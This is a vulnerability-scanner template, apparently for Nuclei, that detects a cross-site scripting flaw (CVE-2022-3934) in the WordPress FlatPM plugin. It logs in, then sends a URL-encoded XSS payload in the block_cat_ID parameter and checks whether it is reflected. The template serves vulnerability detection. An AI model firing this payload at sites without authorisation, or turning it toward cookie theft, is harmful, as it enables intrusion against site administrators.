id: CVE-2022-3934

info:
  name: WordPress FlatPM <3.0.13 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    WordPress FlatPM plugin before 3.0.13 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape certain parameters before outputting them back in pages, which can be exploited against high privilege users such as admin. An attacker can steal cookie-based authentication credentials and launch other attacks.
  remediation: Fixed in version 3.0.13.
  reference:
    - https://wpscan.com/vulnerability/ab68381f-c4b8-4945-a6a5-1d4d6473b73a
    - https://nvd.nist.gov/vuln/detail/CVE-2022-3934
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-3934
    cwe-id: CWE-79
    epss-score: 0.00077
    epss-percentile: 0.323
    cpe: cpe:2.3:a:mehanoid:flat_pm:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: mehanoid
    product: flat_pm
    framework: wordpress
  tags: authenticated,wpscan,cve,cve2022,xss,flatpm,wordpress,wp-plugin

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        @timeout: 10s
        GET /wp-admin/admin.php?page=blocks_form&block_cat_ID=1%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28document.domain%29%2F%2F HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body_2, "alert(document.domain)") && contains(body_2, "Flat PM")'
        condition: and

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